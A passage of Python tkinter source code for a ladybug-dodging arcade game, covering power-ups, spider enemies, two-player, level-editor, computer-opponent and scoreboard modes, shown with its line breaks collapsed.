powerUp.x<=data.cx+data.r: data.pauseDrops = True data.start = data.cy data.powerUps.remove(powerUp) elif data.mode == "2Player" or data.mode == "AI": if powerUp.y>=data.player1Y-data.r and \ powerUp.y<=data.player1Y+data.r: if powerUp.x>=data.player1X-data.r and \ powerUp.x<=data.player1X+data.r: data.pause1Drop = True data.start1 = data.player1Y data.powerUps.remove(powerUp) if powerUp.y>=data.player2Y-data.r and \ powerUp.y<=data.player2Y+data.r: if powerUp.x>=data.player2X-data.r and \ powerUp.x<=data.player2X+data.r: data.pause2Drop = True data.start2 = data.player2Y data.powerUps.remove(powerUp) class Invincible(PowerUps): def __init__(self,x,y): super().__init__(x, y) def draw(self, canvas, data): canvas.create_image(self.x, self.y, image=data.umbrella) def hitInvincible(data): #checks if hits umbrella powerup for powerUp in data.invincible: if data.mode == "1Player" or data.mode == "levelCreated": if powerUp.y>=data.cy-data.r and powerUp.y<=data.cy+data.r: if powerUp.x>=data.cx-data.r and powerUp.x<=data.cx+data.r: data.beInvincible = True data.start = data.cy data.invincible.remove(powerUp) if data.mode == "2Player" or data.mode == "AI": #for player1 if powerUp.y>=data.player1Y-data.r and \ powerUp.y<=data.player1Y+data.r: if powerUp.x>=data.player1X-data.r and \ powerUp.x<=data.player1X+data.r: data.Invincible1=True data.start1 = data.player1Y data.invincible.remove(powerUp) # for player 2 if powerUp.y>=data.player2Y-data.r and \ powerUp.y<=data.player2Y+data.r: if powerUp.x>=data.player2X-data.r and \ powerUp.x<=data.player2X+data.r: data.Invincible2=True data.start2 = data.player2Y data.invincible.remove(powerUp) class ScaryBug(object): def __init__(self,x,y): self.x = x self.y = y self.speed = 25 def draw(self, canvas, data): canvas.create_image(self.x, self.y, image=data.spider) def onTimerFired(self, data): if data.mode =="2Player" or data.mode == "AI": self.speed = 35 self.y -= self.speed if data.mode == "1Player" or data.mode == "levelCreated" and\ data.time %8 ==0: #makes spider dynamically move side = random.choice(data.sides) if side == "l": if self.x -data.lane >=data.Player1Min:self.x-=data.lane else: self.x+=data.lane elif side == "r": if self.x+data.lane<= data.Player1Max:self.x +=data.lane else: self.x -=data.lane def hitScaryBug(data): # checks for automatic death by spider for bug in data.scaryBug: if data.mode == "1Player" or data.mode == "levelCreated": if bug.y>=data.cy-1.5*data.r and bug.y<=data.cy+1.5*data.r: if bug.x>=data.cx-1.5*data.r and bug.x<=data.cx+1.5*data.r: data.hit = True data.lives = 0 data.levelEditorLives = 0 if data.mode == "2Player" or data.mode == "AI": if bug.y>=data.player1Y-data.r and bug.y<=data.player1Y+data.r: if bug.x>=data.player1X-data.r and bug.x<=data.player1X+data.r: data.winner= "player2" if bug.y>=data.player2Y-data.r and bug.y<=data.player2Y+data.r: if bug.x>=data.player2X-data.r and bug.x<=data.player2X+data.r: data.winner= "player1" def drawPowerups(canvas, data): for bug in data.scaryBug: bug.draw(canvas, data) for powerUp in data.powerUps: powerUp.draw(canvas, data) for powerUp in data.invincible: powerUp.draw(canvas, data) def drawHome(canvas, data): #home button in every screen canvas.create_image(data.homeX,data.homeY, image= data.home) def checkHome(event, data): if data.homeY-data.r<= event.y <= data.homeY +data.r: if data.homeX-data.r<= event.x<=data.homeX+ data.r: init(data) def coconutShot(data): if data.level >0 and data.pauseDrops == False: if data.time%int(data.levelMax/data.level) == 0 or data.time%6==0: #increases drops as level increases xPosition1 = random.randint(0,data.Player1Min-data.buffer) xPosition2 = random.randint(data.Player1Max+data.buffer, data.width +data.buffer) data.coconuts.append(Coconuts(xPosition1,0)) data.coconuts.append(Coconuts(xPosition2,0)) xPosition4 = random.randint(data.Player1Min-data.buffer, data.Player1Max+data.buffer) data.coconuts.append(Coconuts(xPosition4,0)) if data.time %5 ==0: xPosition3 = random.randint(0, data.Player1Min-data.buffer) data.coconuts.append(Coconuts(xPosition3,0)) if data.time % int(24/data.level) ==0: side = random.choice(data.sides) if side == "l": data.coconuts.append(Coconuts(data.Player1Min,0)) elif side =="r": data.coconuts.append(Coconuts(data.Player1Max,0)) powerUpCoconutShot(data) def powerUpCoconutShot(data): #adds powerUps #magic #s toallow for powerups to be added at different times if data.time % 60 == 0 and data.time%120 !=0: Position = random.choice(data.spotList) data.powerUps.append(PowerUps(Position,0)) if data.time%50 == 0: Position = random.choice(data.spotList) data.invincible.append(Invincible(Position,0)) if data.time %100==0: Position = random.choice(data.spotList) data.scaryBug.append(ScaryBug(Position,750)) def playerKeyPressed(event,data): if data.level<data.levelMax and event.keysym == "r": init(data) if (event.keysym == "Left") and data.cx>=data.Player1Min+(data.lane/2): data.cx -=(data.lane)/2 elif(event.keysym == "Right") and data.cx<=data.Player1Max: data.cx +=(data.lane)/2 if data.level >= data.levelMax: #enter name for scoreboard if len(event.keysym) ==1: if len(data.name) <15: data.name += event.keysym if event.keysym=="BackSpace": data.name = data.name[0:-1] if event.keysym == "Return": data.scoreList += ((data.score, data.name)) #saves file writeFile("score.txt", data.savedScores+str(data.score)+","+data.name+"\n") data.mode ="scoreboard" def playerMousePressed(event, data): checkHome(event, data) def playerTimerFired(data): #actually pauses, and moves drops/player if data.hit== False and data.level<data.levelMax: data.cy-=data.speed if data.time%5 ==0: data.score +=data.level if data.cy < 15: #basically made it to the top data.level +=1 data.cy = data.Player1Max + 10 data.speed +=2 if data.cy>40: #so drops you can't see don't hit you data.time +=1 if data.pauseDrops !=True: coconutShot(data) for powerUp in data.powerUps: powerUp.onTimerFired(data) hitPause(data) for powerUp in data.invincible: powerUp.onTimerFired(data) hitInvincible(data) for bug in data.scaryBug: bug.onTimerFired(data) hitScaryBug(data) for coconut in data.coconuts: # only want drops to move if not paused if data.pauseDrops == False: coconut.onTimerFired(data) if data.beInvincible == False:hit(data) if data.start != None: if abs(data.start-data.cy) >= 120: #to limit time for powerups to be active data.pauseDrops, data.beInvincible = False, False def playerRedrawAll(canvas, data): # magic #s mainly for screen placement canvas.create_image(data.width/2, data.height/2, image=data.background) canvas.create_line(0,20, data.width, 20) for coconut in data.coconuts: coconut.draw(canvas) drawPowerups(canvas, data) canvas.create_image(data.cx, data.cy, image=data.ladyBug) canvas.create_text(data.width/6,50, text ="Level: %d" %data.level, font = "Arial 18 bold", fill = "yellow") canvas.create_text(data.width/6,80, text ="Score: %d" %data.score, font = "Arial 18 bold", fill = "yellow") canvas.create_text(2*data.width/3,660, text ="""The greater the level, the more points get added to your score!""", font = "Arial 15 bold", fill = "yellow") if data.hit== True: canvas.create_rectangle(0,0,data.width, data.height, fill = "black") canvas.create_image(data.width/2, data.height/2, image=data.deadScreen) canvas.create_text(data.width/2,data.height/4, text = "You Lose! Better Luck Next Time!", font = "Helvetica 23 bold", fill = "yellow") canvas.create_text(data.width/2,280, text ="Score: %d" %data.score, font = "Arial 13 bold", fill = "yellow") if data.level >= 8: madeIt(canvas, data) drawHome(canvas, data) def madeIt(canvas, data):# magic #s mainly for screen placement canvas.create_rectangle(0,0, data.width, data.height, fill = "black") canvas.create_image(data.width/2, data.height/2, image=data.winScreen) canvas.create_image(300, 320, image=data.winBug) canvas.create_text(data.width/2,70, text = "You Made it!", font = "Arial 23 bold", fill = "yellow") canvas.create_text(data.width/2,100, text ="Score: %d" %data.score, font = "Arial 15 bold", fill = "yellow") canvas.create_text(data.width/2,375, text ="Congrats! Enter your Name!", font = "Arial 15 bold", fill = "yellow") canvas.create_rectangle(data.width/2 - 50, 400, data.width/2+50, 450, fill = "white") canvas.create_text(data.width/2, 425, text = data.name) #################################### # 2Player mode #################################### def drop2Player(data): #adds drops when not paused #magic #s are position of where drops are starting if data.winner ==None and data.pauseDrops == False: if data.time%15==0: xPosition1 = random.randint(0,385) if abs(xPosition1 - 100)>25 and abs(xPosition1 - 360)>25: #so random drops don't interfere with the lane ones if data.pause1Drop != True: data.coconuts1.append(Coconuts(xPosition1,0)) if data.pause2Drop != True: data.coconuts2.append(Coconuts(xPosition1 +410,0)) if data.time % 12 ==0: side = random.choice(data.sides) if side == "l": if data.pause1Drop != True: data.coconuts1.append(Coconuts(140,0)) if data.pause2Drop != True: data.coconuts2.append(Coconuts(540,0)) elif side =="r": if data.pause1Drop !=True:data.coconuts1.append(Coconuts(344,0)) if data.pause2Drop!=True:data.coconuts2.append(Coconuts(755,0)) powerupDrop2Player(data) def powerupDrop2Player(data): #adds powerups on both screens (in the same position) if data.time % 45 == 0 and data.time%90 !=0: #randomize placement side = random.choice(data.sides) if side == "l": if data.pause1Drop!=True:data.powerUps.append(PowerUps(140,0)) if data.pause2Drop!=True:data.powerUps.append(PowerUps(540,0)) elif side =="r": if data.pause1Drop!=True:data.powerUps.append(PowerUps(344,0)) if data.pause2Drop!=True:data.powerUps.append(PowerUps(755,0)) if data.time%60 == 0: side = random.choice(data.sides) if side == "l": if data.pause1Drop!=True:data.invincible.append(Invincible(140,0)) if data.pause2Drop!=True:data.invincible.append(Invincible(540,0)) elif side =="r": if data.pause1Drop!=True:data.invincible.append(Invincible(344,0)) if data.pause2Drop!=True:data.invincible.append(Invincible(755,0)) if data.time %90==0: side = random.choice(data.sides) if side == "l": data.scaryBug.append(ScaryBug(140,750)) data.scaryBug.append(ScaryBug(540,750)) elif side =="r": data.scaryBug.append(ScaryBug(344,750)) data.scaryBug.append(ScaryBug(755,750)) def twoPlayerKeyPressed(event,data): # controllers for both bugs if event.keysym == "r": init(data) if data.winner==None: if (event.keysym == "a") and data.onLeft1==False: data.onLeft1 = True data.player1X = 150 if(event.keysym == "d") and data.onLeft1== True: data.onLeft1 = False data.player1X = 330 if (event.keysym == "Left") and data.onLeft2==False: data.onLeft2 = True data.player2X = 550 if(event.keysym == "Right") and data.onLeft2 == True: data.onLeft2 = False data.player2X = 750 def twoPlayerMousePressed(event, data): checkHome(event, data) def twoPlayerTimerFired(data): if data.winner == None: data.player1Y-=data.speed #<15 signifies that lady bug reached the top if data.player1Y < 15 and data.player2Y >15: data.winner= "player1" if data.player1Y>40: data.time +=1 drop2Player(data) data.player2Y-=data.speed if data.player2Y < 15 and data.player1Y> 15: data.winner= "player2" if data.player2Y>40: data.time +=1 drop2Player(data) if data.player1Y < 15 and data.player2Y <15: data.winner = "tie" for powerUp in data.powerUps: powerUp.onTimerFired(data) hitPause(data) for powerUp in data.invincible:powerUp.onTimerFired(data) hitInvincible(data) for bug in data.scaryBug:bug.onTimerFired(data) hitScaryBug(data) powerupTimerFired(data) def powerupTimerFired(data): for coconut in data.coconuts1: if data.pause1Drop == False: coconut.onTimerFired(data) hit2Player(data) for coconut in data.coconuts2: if data.pause2Drop == False: coconut.onTimerFired(data) if data.start1 != None: # to make powerups only active for set amount of time if abs(data.start1-data.player1Y) >= 120: data.pause1Drop = False data.Invincible1 = False if data.start2 != None: if abs(data.start2-data.player2Y) >= 120: data.pause2Drop = False data.Invincible2 = False def twoPlayerRedrawAll(canvas, data): #magic #s for placement on screen canvas.create_image(data.width/4, data.height/2, image=data.halfBackground) canvas.create_image(3*data.width/4, data.height/2,image=data.halfBackground) canvas.create_line(data.width/2, 0, data.width/2, data.height, width = 10) canvas.create_line(0,20, data.width, 20) for coconut in data.coconuts1: coconut.draw(canvas) for coconut in data.coconuts2: coconut.draw(canvas) drawPowerups(canvas, data) canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug) canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug) canvas.create_text(50,40, text = "Player 1",font = "Arial 15 bold", fill = "yellow") canvas.create_text(450,40, text = "Player 2",font = "Arial 15 bold", fill = "yellow") winner(canvas, data) drawHome(canvas, data) def winner(canvas, data): if data.winner== "player1": canvas.create_rectangle(0,0, data.width, data.height, fill = "black") canvas.create_image(data.width/2, data.height/2, image=data.winScreen) canvas.create_image(300, 320, image=data.winBug) canvas.create_text(data.width/2,100, text = "You Made it! Player 1", font = "Arial 23 bold", fill = "yellow") elif data.winner== "player2": canvas.create_rectangle(0,0, data.width, data.height, fill = "black") canvas.create_image(data.width/2, data.height/2, image=data.winScreen) canvas.create_image(300, 320, image=data.winBug) canvas.create_text(data.width/2,100, text = "You Made it! Player 2", font = "Arial 23 bold", fill = "yellow") elif data.winner== "tie": canvas.create_rectangle(0,0, data.width, data.height, fill = "black") canvas.create_image(data.width/2, data.height/2, image=data.winScreen) canvas.create_image(300, 320, image=data.winBug) canvas.create_text(data.width/2,100, text = "Tie! You Both Made it!", font = "Arial 23 bold", fill = "yellow") #################################### # editor mode #################################### def editorKeyPressed(event,data): if event.keysym == "r": init(data) def editorMousePressed(event, data): #check for click on button for your speed checkHome(event, data) if data.easyY-data.r<= event.y <= data.easyY +data.r: if data.easyX-2*data.r<= event.x<=data.easyX+2*data.r: data.yourSpeed = "slow" data.slow = data.click data.medium, data.fast = data.notClick, data.notClick if data.medX-2*data.r<= event.x<=data.medX+2*data.r: data.yourSpeed = "medium" data.medium = data.click data.slow, data.fast = data.notClick, data.notClick if data.hardX-2*data.r<= event.x<=data.hardX+2*data.r: data.yourSpeed = "fast" data.fast = data.click data.slow, data.medium = data.notClick, data.notClick checkMiddle(event, data) checkLast(event, data) def checkMiddle(event, data): #check for click on button for rain speed if data.medX-data.r<= event.y <= data.medX + data.r: if data.easyX-2*data.r<= event.x<=data.easyX+2*data.r: data.rainSpeed = "drizzle" data.drizzle = data.click data.rain, data.thunderstorm = data.notClick, data.notClick if data.medX-2*data.r<= event.x<=data.medX+2*data.r: data.rainSpeed = "rain" data.rain = data.click data.drizzle, data.thunderstorm = data.notClick, data.notClick if data.hardX-2*data.r<= event.x<=data.hardX+2*data.r: data.rainSpeed = "thunderstorm" data.thunderstorm = data.click data.drizzle, data.rain = data.notClick, data.notClick def checkLast(event, data): #check for click on button for powerups if data.last-data.r<=event.y<= data.last+data.r: if data.easyY-2*data.r<= event.x<=data.easyY+2*data.r: data.powerUpsEditor = True data.yes, data.no = data.click, data.notClick if data.last-2*data.r<= event.x<=data.last+2*data.r: data.powerUpsEditor = False data.no, data.yes = data.click, data.notClick if data.enter == data.click: if data.enterX-data.r<=event.y<=data.enterX+data.r: if data.medX-2*data.r<= event.x<=data.medX+2*data.r: data.mode="levelCreated" def drawButtons(canvas, data): #makes each button data.font, data.fill = "Helvetica 13 bold", "yellow" canvas.create_text(data.medX,data.YST, text= "Your Speed:", font = data.font,fill =data.fill) canvas.create_image(data.easyX,data.easyY, image = data.slow) canvas.create_text(data.easyX,data.easyY, text="Slow", font = data.font) canvas.create_image(data.medX,data.easyY, image = data.medium) canvas.create_text(data.medX,data.easyY, text="Medium", font = data.font) canvas.create_image(data.hardX,data.easyY, image = data.fast) canvas.create_text(data.hardX,data.easyY, text="Fast",font = data.font) canvas.create_image(data.easyX,data.medX, image = data.drizzle) canvas.create_text(data.medX,data.RST, text= "Rain Speed:", font = data.font,fill =data.fill) canvas.create_text(data.easyX,data.medX, text="Drizzle",font = data.font) canvas.create_image(data.medX,data.medX, image = data.rain) canvas.create_text(data.medX,data.medX, text="Rain",font = data.font) canvas.create_image(data.hardX,data.medX, image = data.thunderstorm) canvas.create_text(data.hardX,data.medX, text="Heavy",font = data.font) canvas.create_text(data.medX,data.PUT, text= "PowerUps?", font = data.font,fill =data.fill) canvas.create_image(data.easyY,data.last, image = data.yes) canvas.create_text(data.easyY,data.last, text="Yes",font = data.font) canvas.create_image(data.last,data.last, image = data.no) canvas.create_text(data.last,data.last, text="No",font = data.font) changeEnter(canvas, data) def changeEnter(canvas, data): #makes it so the enter button respond to click if data.powerUpsEditor != None and data.yourSpeed != None and \ data.rainSpeed != None: data.enter = data.click canvas.create_image(data.medX,data.enterX, image = data.enter) canvas.create_text(data.medX,data.enterX, text="Enter",font = data.font) def editorTimerFired(data): data.editorTime += 1 if data.editorTime %2 ==0: rainDrop(data) for drop in data.editorDrops: drop.onTimerFired(data) def rainDrop(data): #background drops xPosition = random.randint(0,data.width) data.editorDrops.append(Coconuts(xPosition,0)) def editorRedrawAll(canvas, data): canvas.create_image(data.width/2, data.height/2, image=data.background) canvas.create_image(data.width/2, data.height/2, image=data.tbg) for drop in data.editorDrops: drop.draw(canvas) canvas.create_text(data.width/2, data.S_P -10, text = "Edit Your Level!", font="Arial 23 bold", fill = "yellow") drawButtons(canvas, data) drawHome(canvas, data) #################################### # levelCreated mode #################################### def setEverything(data): #customizing game if data.yourSpeed == "slow": data.speed = 6 elif data.yourSpeed == "medium": data.speed = 10 elif data.yourSpeed == "fast": data.speed = 14 if data.rainSpeed == "thunderstorm": data.rSpeed = 7 elif data.rainSpeed == "rain": data.rSpeed = 10 elif data.rainSpeed == "drizzle": data.rSpeed = 13 def levelCoconutShot(data): #adding drops if data.levelEditorLives >0: if data.time%int(0.35*data.rSpeed) == 0: xPosition1 = random.randint(0,data.Player1Min-data.buffer) xPosition2 = random.randint(770, 870) xPosition3 = random.randint(220,770) data.coconuts.append(Coconuts(xPosition3,0)) data.coconuts.append(Coconuts(xPosition1,0)) data.coconuts.append(Coconuts(xPosition2,0)) if data.time % int(0.55*data.rSpeed) ==0: xPosition3 = random.randint(0, 220) xPosition5 = random.randint(220,770) data.coconuts.append(Coconuts(xPosition3,0)) data.coconuts.append(Coconuts(xPosition5,0)) if data.time % int(data.rSpeed) ==0: side = random.choice(data.sides) if side == "l": data.coconuts.append(Coconuts(3*data.width/8-20,0)) elif side =="r": data.coconuts.append(Coconuts(7*data.width/8+40,0)) xPosition4= random.randint(220,770) data.coconuts.append(Coconuts(xPosition4,0)) levelPowerUp(data) def levelPowerUp(data): # adding power-ups only if clicked yes if data.powerUpsEditor == True: if data.time % 20 == 0 and data.time%40 !=0: Position = random.choice(data.spotList) data.powerUps.append(PowerUps(Position,0)) if data.time%30 == 0: Position = random.choice(data.spotList) data.invincible.append(Invincible(Position,0)) if data.time %35==0: Position = random.choice(data.spotList) data.scaryBug.append(ScaryBug(Position,750)) def levelCreatedKeyPressed(event,data): if event.keysym == "r": init(data) if data.levelEditorLives>0: if (event.keysym == "Left") and data.cx>=317: data.cx -=(data.lane/2) elif(event.keysym == "Right") and data.cx<=740: data.cx +=(data.lane/2) def levelCreatedMousePressed(event, data): checkHome(event, data) def levelCreatedTimerFired(data): setEverything(data) if data.levelEditorLives>0: data.cy-=data.speed if data.cy < 15: data.level +=1 if data.cy>40: data.time +=1 if data.pauseDrops !=True: levelCoconutShot(data) if data.powerUpsEditor == False: for coconut in data.coconuts: coconut.onTimerFired(data) hit(data) if data.powerUpsEditor == True: for powerUp in data.powerUps: powerUp.onTimerFired(data) hitPause(data) for powerUp in data.invincible: powerUp.onTimerFired(data) hitInvincible(data) for bug in data.scaryBug: bug.onTimerFired(data) hitScaryBug(data) for coconut in data.coconuts: if data.pauseDrops == False:coconut.onTimerFired(data) if data.beInvincible == False: hit(data) if data.start != None: #to make powerups only active for set amount of time if abs(data.start-data.cy) >= 120: data.pauseDrops, data.beInvincible = False, False def levelCreatedRedrawAll(canvas, data): canvas.create_image(data.width/2, data.height/2, image=data.background) canvas.create_line(0,20, data.width, 20) for coconut in data.coconuts: coconut.draw(canvas) if data.powerUpsEditor == True: drawPowerups(canvas, data) canvas.create_image(data.cx, data.cy, image=data.ladyBug) canvas.create_text(data.width/6,100, text ="Total Lives: %d" %data.levelEditorLives, font = "Arial 20 bold", fill = "yellow") canvas.create_text(data.width/2,660, text ="""You lose a life for hitting a drop & don't get eaten!""", font = "Arial 15 bold", fill = "yellow") if data.levelEditorLives <=0: canvas.create_rectangle(0,0, data.width, data.height, fill = "black") canvas.create_image(data.width/2, data.height/2, image=data.deadScreen) canvas.create_text(data.width/2,data.height/4, text = "You Lose! Better Luck Next Time!", font = "Helvetica 23 bold", fill = "yellow") if data.level > 1: winEditor(canvas, data) drawHome(canvas, data) def winEditor(canvas, data): #screen for when you win canvas.create_rectangle(0,0, data.width, data.height, fill = "black") canvas.create_image(data.width/2, data.height/2, image=data.winScreen) canvas.create_image(300, 320, image=data.winBug) canvas.create_text(data.width/2,100, text = "You Made it!", font = "Arial 23 bold", fill = "yellow") #################################### # AI Difficulty Mode #################################### def difficultyKeyPressed(event,data): if event.keysym == "r": init(data) def drawDifficulties(canvas, data): canvas.create_text(data.medX,data.AITY, text= "Computer Difficulty:", font="Arial 23 bold", fill = "yellow") canvas.create_image(data.easyX, data.easyY, image=data.slow) canvas.create_text(data.easyX,data.easyY, text="Easy") canvas.create_image(data.medX, data.easyY, image=data.medium) canvas.create_text(data.medX,data.easyY, text="Medium") canvas.create_image(data.hardX, data.easyY, image=data.fast) canvas.create_text(data.hardX,data.easyY, text="Hard") if data.difficulty !=None: data.enter = data.click canvas.create_image(data.medX, data.enterY, image=data.enter) canvas.create_text(data.medX,data.enterY, text="Enter") def difficultyMousePressed(event, data): #sets up buttons to customize checkHome(event, data) if data.easyY-data.r<= event.y <= data.easyY +data.r: if data.easyX-2*data.r<= event.x<=data.easyX+2*data.r: data.difficulty = data.difS data.slow = data.click data.medium, data.fast = data.notClick, data.notClick if data.medX-2*data.r<= event.x<=data.medX+2*data.r: data.difficulty = data.difM data.medium = data.click data.slow, data.fast = data.notClick, data.notClick if data.hardX-2*data.r<= event.x<=data.hardX+2*data.r: data.difficulty = data.difH data.fast = data.click data.slow, data.medium = data.notClick, data.notClick if data.enter == data.click: if data.enterY-data.r<=event.y<=data.enterY+data.r: if data.medX-2*data.r<= event.x<=data.medX+2*data.r: data.mode="AI" def difficultyTimerFired(data): # makes normal background rain data.editorTime += 1 if data.editorTime %2 ==0: rainDrop(data) for drop in data.editorDrops: drop.onTimerFired(data) def rainDrop(data): xPosition = random.randint(0,data.width) data.editorDrops.append(Coconuts(xPosition,0)) def difficultyRedrawAll(canvas, data): canvas.create_image(data.width/2, data.height/2, image=data.background) canvas.create_image(data.width/2, data.height/2, image=data.tbg) for drop in data.editorDrops: drop.draw(canvas) drawDifficulties(canvas, data) drawHome(canvas, data) #################################### # AI mode #################################### def hitAI1(data, distance): for coconut in data.coconutsAI1: # so AI switches by itself if (data.player1Y-data.r - coconut.y<=distance) and \ data.switchOnProgress == False: if coconut.x>=data.player1X-data.r and \ coconut.x<=data.player1X+data.r or AISwitchBug(data,distance)==True: testInt = random.randint(0,9) # to have different levels of difficulty if testInt<= data.difficulty: data.switchOnProgress= True if data.player1X == 150: data.player1X = 340 else: data.player1X = 150 data.switchOnProgress= False if coconut.y>=data.player1Y-data.r and coconut.y<=data.player1Y+data.r: if coconut.x>=data.player1X-data.r and \ coconut.x<=data.player1X+data.r: data.player1Y+=50 data.coconutsAI1.remove(coconut) def AISwitchBug(data, distance): #AI to move for spider for scaryBug in data.scaryBug: if (data.player1Y-data.r - scaryBug.y<=distance) and \ data.switchOnProgress == False: if scaryBug.x>=data.player1X-data.r and \ scaryBug.x<=data.player1X+data.r: return True def hitAI2(data, distance): # check if human controlled player hits drops for coconut in data.coconutsAI2: if coconut.y>=data.player2Y-data.r and coconut.y<=data.player2Y+data.r: if coconut.x>=data.player2X-data.r and \ coconut.x<=data.player2X+data.r: data.player2Y+=50 data.coconutsAI2.remove(coconut) def coconutShotAI(data): if data.winner ==None: # randomize position of drops off of tree if data.time%15==0: xPosition1 = random.randint(0,385) if abs(xPosition1 - 100)>40 and abs(xPosition1 - 360)>40: if data.pause1Drop != True: data.coconutsAI1.append(Coconuts(xPosition1,0)) if data.pause2Drop != True: data.coconutsAI2.append(Coconuts(xPosition1 +410,0)) if data.time%8 ==0: xPosition2 = random.randint(0,80) xPosition3 = random.randint(364, 385) if data.pause1Drop != True: data.coconutsAI1.append(Coconuts(xPosition2,0)) data.coconutsAI1.append(Coconuts(xPosition3,0)) if data.pause2Drop != True: data.coconutsAI2.append(Coconuts(xPosition2+410,0)) data.coconutsAI2.append(Coconuts(xPosition3+410,0)) addExtraCoconut(data) addPowerUpsAI(data) def addExtraCoconut(data): #adds drops to edges of trees if data.time % (18) ==0: side = random.choice(data.sides) if side == "l": if data.pause1Drop != True: data.coconutsAI1.append(Coconuts(140,0)) if data.pause2Drop != True: data.coconutsAI2.append(Coconuts(540,0)) elif side =="r": if data.pause1Drop != True: data.coconutsAI1.append(Coconuts(344,0)) if data.pause2Drop != True: data.coconutsAI2.append(Coconuts(755,0)) if data.time % 37 == 0: side = random.choice(data.sides) if side == "l": if data.pause1Drop != True: data.powerUps.append(PowerUps(140,0)) if data.pause2Drop != True: data.powerUps.append(PowerUps(550,0)) elif side =="r": if data.pause1Drop != True: data.powerUps.append(PowerUps(344,0)) if data.pause2Drop != True: data.powerUps.append(PowerUps(755,0)) def addPowerUpsAI(data): #randomly add powerups on tree if data.time%33 == 0: side = random.choice(data.sides) if side == "l": if data.pause1Drop != True: data.invincible.append(Invincible(140,0)) if data.pause2Drop != True: data.invincible.append(Invincible(550,0)) elif side =="r": if data.pause1Drop != True: data.invincible.append(Invincible(344,0)) if data.pause2Drop != True: data.invincible.append(Invincible(755,0)) if data.time %66==0: side = random.choice(data.sides) if side == "l": data.scaryBug.append(ScaryBug(140,750)) data.scaryBug.append(ScaryBug(550,750)) elif side =="r": data.scaryBug.append(ScaryBug(344,750)) data.scaryBug.append(ScaryBug(750,750)) def AIKeyPressed(event,data): if event.keysym == "r": init(data) if data.winner==None: if (event.keysym == "Left") and data.onLeft1==False: data.onLeft1 = True data.player2X = 550 elif(event.keysym == "Right") and data.onLeft1== True: data.onLeft1 = False data.player2X = 750 def AIMousePressed(event, data): checkHome(event, data) def AITimerFired(data): if data.winner == None: #want to check hit twice (before & after elements move) if data.Invincible1 == False:hitAI1(data, 31) if data.Invincible2 == True: pass elif data.Invincible2 == False:hitAI2(data, 31) for coconut in data.coconutsAI1: if data.pause1Drop == False:coconut.onTimerFired(data) for coconut in data.coconutsAI2: if data.pause2Drop == False:coconut.onTimerFired(data) # second check if data.Invincible1 == False:hitAI1(data,13) if data.Invincible2 == True:pass elif data.Invincible2 == False:hitAI2(data,13) data.player1Y-=data.speedAI #establishing winer if data.player1Y < 15 and data.player2Y >15: data.winner= "player1" if data.player1Y>40: data.time +=1 coconutShotAI(data) data.player2Y-=data.speedAI if data.player2Y < 15 and data.player1Y> 15: data.winner= "player2" if data.player2Y>40: data.time +=1 coconutShotAI(data) if data.player1Y < 15 and data.player2Y <15: data.winner = "tie" for powerUp in data.powerUps: powerUp.onTimerFired(data) hitPause(data) powerUpAITimerFired(data) def powerUpAITimerFired(data): #moves both sides symmetrically for powerUp in data.invincible: powerUp.onTimerFired(data) hitInvincible(data) for bug in data.scaryBug: bug.onTimerFired(data) hitScaryBug(data) if data.start1 != None: if abs(data.start1-data.player1Y) >= 120: data.pause1Drop = False data.Invincible1 = False if data.start2 != None: if abs(data.start2-data.player2Y) >= 120: data.pause2Drop = False data.Invincible2 = False def AIRedrawAll(canvas, data): canvas.create_image(data.width/4, data.height/2, image=data.halfBackground) canvas.create_image(3*data.width/4, data.height/2,image=data.halfBackground) canvas.create_line(data.width/2, 0, data.width/2, data.height, width = 10) canvas.create_line(0,20, data.width, 20) for coconut in data.coconutsAI1: coconut.draw(canvas) for coconut in data.coconutsAI2: coconut.draw(canvas) canvas.create_text(50,40, text = "Computer",font = "Arial 15 bold", fill = "yellow") canvas.create_text(450,40, text = "Player 1",font = "Arial 15 bold", fill = "yellow") drawPowerups(canvas, data) canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug) canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug) AIWinner(canvas, data) drawHome(canvas, data) def AIWinner(canvas, data): if data.winner== "player1": canvas.create_rectangle(0,0, data.width, data.height, fill = "black") canvas.create_image(data.width/2, data.height/2, image=data.winScreen) canvas.create_image(300, 320, image=data.winBug) canvas.create_text(data.width/2,100, text = "The Computer Won :(", font = "Arial 23 bold", fill = "yellow") elif data.winner== "player2": canvas.create_rectangle(0,0, data.width, data.height, fill = "black") canvas.create_image(data.width/2, data.height/2, image=data.winScreen) canvas.create_image(300, 320, image=data.winBug) canvas.create_text(data.width/2,100, text = "You Made it! You Won!", font = "Arial 23 bold", fill = "yellow") elif data.winner== "tie": canvas.create_rectangle(0,0, data.width, data.height, fill = "black") canvas.create_image(data.width/2, data.height/2, image=data.winScreen) canvas.create_image(300, 320, image=data.winBug) canvas.create_text(data.width/2,100, text = "Tie! You Both Made it!", font = "Arial 23 bold", fill = "yellow") #################################### # ScoreBoard mode #################################### def scoreboardKeyPressed(event, data): if event.keysym == "r": init(data) def scoreboardMousePressed(event, data): checkHome(event, data) def scoreboardTimerFired(data): difficultyTimerFired(data) def scoreboardRedrawAll(canvas, data): canvas.create_image(data.width/2, data.height/2, image=data.background) canvas.create_image(data.width/2, data.tbgY, image=data.tbg) for drop in data.editorDrops: drop.draw(canvas) canvas.create_text(data.width/2, data.txtTScore, text="Top Scores!", font = "Arial 30 bold", fill = "yellow") canvas.create_text(data.width/2, data.S_P, text="Score_Player", font = "Arial 20 bold", fill = "yellow") drawHome(canvas, data) #reads file data.savedScores data.savedScores=readFile("score.txt") score=data.savedScores.splitlines() scores=[] for line in score: scores.append(line.split(",")) #sorts scores to find top 5 scores = sorted(scores, key = lambda x: int(x[0])) top5 = scores[-data.numScores:] top5.reverse() for i in range(len(top5)): canvas.create_text(data.width/2, data.scoreShift+(i*50), text = top5[i], font = "Arial 18 bold", fill = "yellow") #################################### # help mode #################################### def helpKeyPressed(event, data): if event.keysym == "r": init(data) def helpMousePressed(event, data): checkHome(event, data) def helpTimerFired(data): difficultyTimerFired(data) def helpRedrawAll(canvas, data): canvas.create_image(data.width/2, data.helpY, image=data.helpScreen) for drop in data.editorDrops: drop.draw(canvas) drawHome(canvas, data) ####################################### # use the run function as-is from notes ####################################### def run(width=15000, height=25000): def redrawAllWrapper(canvas, data): canvas.delete(ALL) redrawAll(canvas, data) canvas.update() def mousePressedWrapper(event, canvas, data): mousePressed(event, data) redrawAllWrapper(canvas, data) def keyPressedWrapper(event, canvas, data): keyPressed(event, data) redrawAllWrapper(canvas, 